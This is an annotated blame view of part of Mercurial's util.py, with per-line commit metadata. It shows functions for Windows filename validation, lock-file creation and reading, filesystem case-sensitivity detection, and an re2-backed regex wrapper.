2018 |
|
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2019 |
def checkwinfilename(path): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
2020 |
r"""Check that the base-relative path is a valid filename on Windows. |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2021 |
Returns None if the path is ok, or a UI string describing the problem. |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2022 |
|
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2023 |
>>> checkwinfilename(b"just/a/normal/path") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2024 |
>>> checkwinfilename(b"foo/bar/con.xml") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2025 |
"filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2026 |
>>> checkwinfilename(b"foo/con.xml/bar") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2027 |
"filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2028 |
>>> checkwinfilename(b"foo/bar/xml.con") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2029 |
>>> checkwinfilename(b"foo/bar/AUX/bla.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2030 |
"filename contains 'AUX', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2031 |
>>> checkwinfilename(b"foo/bar/bla:.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2032 |
"filename contains ':', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2033 |
>>> checkwinfilename(b"foo/bar/b\07la.txt") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
2034 |
"filename contains '\\x07', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2035 |
>>> checkwinfilename(b"foo/bar/bla ") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2036 |
"filename ends with ' ', which is not allowed on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2037 |
>>> checkwinfilename(b"../bar") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2038 |
>>> checkwinfilename(b"foo\\") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
2039 |
"filename ends with '\\', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2040 |
>>> checkwinfilename(b"foo\\/bar") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
2041 |
"directory name ends with '\\', which is invalid on Windows" |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
2042 |
""" |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2043 |
if path.endswith(b'\\'): |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2044 |
return _(b"filename ends with '\\', which is invalid on Windows") |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2045 |
if b'\\/' in path: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2046 |
return _(b"directory name ends with '\\', which is invalid on Windows") |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2047 |
for n in path.replace(b'\\', b'/').split(b'/'): |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2048 |
if not n: |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2049 |
continue |
32572
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
2050 |
for c in _filenamebytestr(n): |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
2051 |
if c in _winreservedchars: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2052 |
return ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2053 |
_( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2054 |
b"filename contains '%s', which is reserved " |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2055 |
b"on Windows" |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2056 |
) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2057 |
% c |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2058 |
) |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2059 |
if ord(c) <= 31: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2060 |
return _( |
43117
8ff1ecfadcd1
cleanup: join string literals that are already on one line
Martin von Zweigbergk <martinvonz@google.com>
parents:
43106
diff
changeset
|
2061 |
b"filename contains '%s', which is invalid on Windows" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2062 |
) % stringutil.escapestr(c) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2063 |
base = n.split(b'.')[0] |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
2064 |
if base and base.lower() in _winreservednames: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2065 |
return ( |
43117
8ff1ecfadcd1
cleanup: join string literals that are already on one line
Martin von Zweigbergk <martinvonz@google.com>
parents:
43106
diff
changeset
|
2066 |
_(b"filename contains '%s', which is reserved on Windows") |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2067 |
% base |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2068 |
) |
34361
7508a7dc95c1
py3: replace bytes[n] with slicing in checkwinfilename()
Yuya Nishihara <yuya@tcha.org>
parents:
34360
diff
changeset
|
2069 |
t = n[-1:] |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2070 |
if t in b'. ' and n not in b'..': |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2071 |
return ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2072 |
_( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2073 |
b"filename ends with '%s', which is not allowed " |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2074 |
b"on Windows" |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2075 |
) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2076 |
% t |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2077 |
) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2078 |
|
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2079 |
|
44018
f9d29e1d3354
util: avoid referencing `time.clock()` on Windows when missing (issue6238)
Matt Harbison <matt_harbison@yahoo.com>
parents:
43920
diff
changeset
|
2080 |
timer = getattr(time, "perf_counter", None) |
f9d29e1d3354
util: avoid referencing `time.clock()` on Windows when missing (issue6238)
Matt Harbison <matt_harbison@yahoo.com>
parents:
43920
diff
changeset
|
2081 |
|
34645 | 2082 |
if pycompat.iswindows: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2083 |
checkosfilename = checkwinfilename |
44018
f9d29e1d3354
util: avoid referencing `time.clock()` on Windows when missing (issue6238)
Matt Harbison <matt_harbison@yahoo.com>
parents:
43920
diff
changeset
|
2084 |
if not timer: |
f9d29e1d3354
util: avoid referencing `time.clock()` on Windows when missing (issue6238)
Matt Harbison <matt_harbison@yahoo.com>
parents:
43920
diff
changeset
|
2085 |
timer = time.clock |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2086 |
else: |
43883
09bcbeacedc7
typing: suppress a warning that mercurial.windows.checkosfilename is missing
Matt Harbison <matt_harbison@yahoo.com>
parents:
43882
diff
changeset
|
2087 |
# mercurial.windows doesn't have platform.checkosfilename |
09bcbeacedc7
typing: suppress a warning that mercurial.windows.checkosfilename is missing
Matt Harbison <matt_harbison@yahoo.com>
parents:
43882
diff
changeset
|
2088 |
checkosfilename = platform.checkosfilename # pytype: disable=module-attr |
44018
f9d29e1d3354
util: avoid referencing `time.clock()` on Windows when missing (issue6238)
Matt Harbison <matt_harbison@yahoo.com>
parents:
43920
diff
changeset
|
2089 |
if not timer: |
f9d29e1d3354
util: avoid referencing `time.clock()` on Windows when missing (issue6238)
Matt Harbison <matt_harbison@yahoo.com>
parents:
43920
diff
changeset
|
2090 |
timer = time.time |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2091 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2092 |
|
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2093 |
def makelock(info, pathname): |
36701
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2094 |
"""Create a lock file atomically if possible |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2095 |
|
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2096 |
This may leave a stale lock file if symlink isn't supported and signal |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2097 |
interrupt is enabled. |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2098 |
""" |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2099 |
try: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2100 |
return os.symlink(info, pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2101 |
except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2102 |
if why.errno == errno.EEXIST: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2103 |
raise |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2104 |
except AttributeError: # no symlink in os |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2105 |
pass |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2106 |
|
36783
1fbbb8e83392
py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents:
36782
diff
changeset
|
2107 |
flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) |
1fbbb8e83392
py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents:
36782
diff
changeset
|
2108 |
ld = os.open(pathname, flags) |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
2109 |
os.write(ld, info) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
2110 |
os.close(ld) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
2111 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2112 |
|
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2113 |
def readlock(pathname): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2114 |
try: |
39904
5fe0b880200e
py3: convert os.readlink() path to native strings on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
39777
diff
changeset
|
2115 |
return readlink(pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2116 |
except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2117 |
if why.errno not in (errno.EINVAL, errno.ENOSYS): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2118 |
raise |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2119 |
except AttributeError: # no symlink in os |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2120 |
pass |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2121 |
with posixfile(pathname, b'rb') as fp: |
39905
4017968f0a1d
util: use a context manager in readlock()
Matt Harbison <matt_harbison@yahoo.com>
parents:
39904
diff
changeset
|
2122 |
return fp.read() |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
2123 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2124 |
|
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2125 |
def fstat(fp): |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2126 |
'''stat file object that may not have fileno method.''' |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2127 |
try: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2128 |
return os.fstat(fp.fileno()) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2129 |
except AttributeError: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2130 |
return os.stat(fp.name) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2131 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2132 |
|
3784 | 2133 |
# File system features |
2134 |
||
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2135 |
|
29889
6f447b9ec263
util: rename checkcase() to fscasesensitive() (API)
Martin von Zweigbergk <martinvonz@google.com>
parents:
29832
diff
changeset
|
2136 |
def fscasesensitive(path): |
3784 | 2137 |
""" |
18911
451eb1c27c1b
util: improve doc for checkcase
Mads Kiilerich <mads@kiilerich.com>
parents:
18868
diff
changeset
|
2138 |
Return true if the given path is on a case-sensitive filesystem |
3784 | 2139 |
|
2140 |
Requires a path (like /foo/.hg) ending with a foldable final |
|
2141 |
directory component. |
|
2142 |
""" |
|
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
2143 |
s1 = os.lstat(path) |
3784 | 2144 |
d, b = os.path.split(path) |
15667
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2145 |
b2 = b.upper() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2146 |
if b == b2: |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2147 |
b2 = b.lower() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2148 |
if b == b2: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2149 |
return True # no evidence against case sensitivity |
15667
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2150 |
p2 = os.path.join(d, b2) |
3784 | 2151 |
try: |
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
2152 |
s2 = os.lstat(p2) |
3784 | 2153 |
if s2 == s1: |
2154 |
return False |
|
2155 |
return True |
|
14004
97ed99d1f419
eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents:
13985
diff
changeset
|
2156 |
except OSError: |
3784 | 2157 |
return True |
2158 |
||
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2159 |
|
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2160 |
try: |
43879
40bd667491a7
pytype: suppress the import-error in util.py when importing re2
Matt Harbison <matt_harbison@yahoo.com>
parents:
43754
diff
changeset
|
2161 |
import re2 # pytype: disable=import-error |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2162 |
|
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2163 |
_re2 = None |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2164 |
except ImportError: |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2165 |
_re2 = False |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2166 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2167 |
|
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2168 |
class _re(object): |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2169 |
def _checkre2(self): |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2170 |
global _re2 |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2171 |
try: |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2172 |
# check if match works, see issue3964 |
46521
ebc6d3484fdd
re2: byteify some regex used to get check re2 availability
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46113
diff
changeset
|
2173 |
_re2 = bool(re2.match(br'\[([^\[]+)\]', b'[ui]')) |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2174 |
except ImportError: |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2175 |
_re2 = False |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2176 |
|
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2177 |
def compile(self, pat, flags=0): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
2178 |
"""Compile a regular expression, using re2 if possible |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2179 |
|
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2180 |
For best performance, use only re2-compatible regexp features. The |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2181 |
only flags from the re module that are re2-compatible are |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
2182 |
IGNORECASE and MULTILINE.""" |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2183 |
if _re2 is None: |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2184 |
self._checkre2() |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2185 |
if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2186 |
if flags & remod.IGNORECASE: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2187 |
pat = b'(?i)' + pat |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2188 |
if flags & remod.MULTILINE: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2189 |
pat = b'(?m)' + pat |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2190 |
try: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2191 |
return re2.compile(pat) |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2192 |
except re2.error: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2193 |
pass |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2194 |
return remod.compile(pat, flags) |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2195 |
|
21914
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2196 |
@propertycache |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2197 |
def escape(self): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
2198 |
"""Return the version of escape corresponding to self.compile. |
21914
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2199 |
|
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2200 |
This is imperfect because whether re2 or re is used for a particular |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2201 |
function depends on the flags, etc, but it's the best we can do. |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
2202 |
""" |
21914
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2203 |
global _re2 |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2204 |
if _re2 is None: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2205 |
self._checkre2() |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2206 |
if _re2: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2207 |
return re2.escape |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2208 |
else: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2209 |
return remod.escape |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2210 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2211 |
|
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2212 |
re = _re() |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2213 |
|
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
